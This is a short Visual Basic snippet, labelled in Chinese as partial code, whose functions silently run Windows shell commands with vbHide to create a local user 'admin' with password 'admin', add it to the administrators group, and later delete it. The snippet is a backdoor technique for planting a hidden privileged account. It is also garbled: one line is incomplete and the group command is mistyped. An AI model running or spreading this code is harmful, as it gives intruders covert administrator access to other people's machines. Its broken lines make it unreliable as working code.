部分代码
Option Explicit
Public Function net(a As String)
Static net1(2) As String, i As Integer
net1(1) = "net user admin admin /add": net1(2) = "net localgroupadministrators admin /add"
For i = 1 To 2
Shell net1(i), vbHide
Next
End Function
Public Function del(b As String)
Static c As String
c = "删除用户"
= c
b = "net user admin /del"
Shell b, vbHide
End Function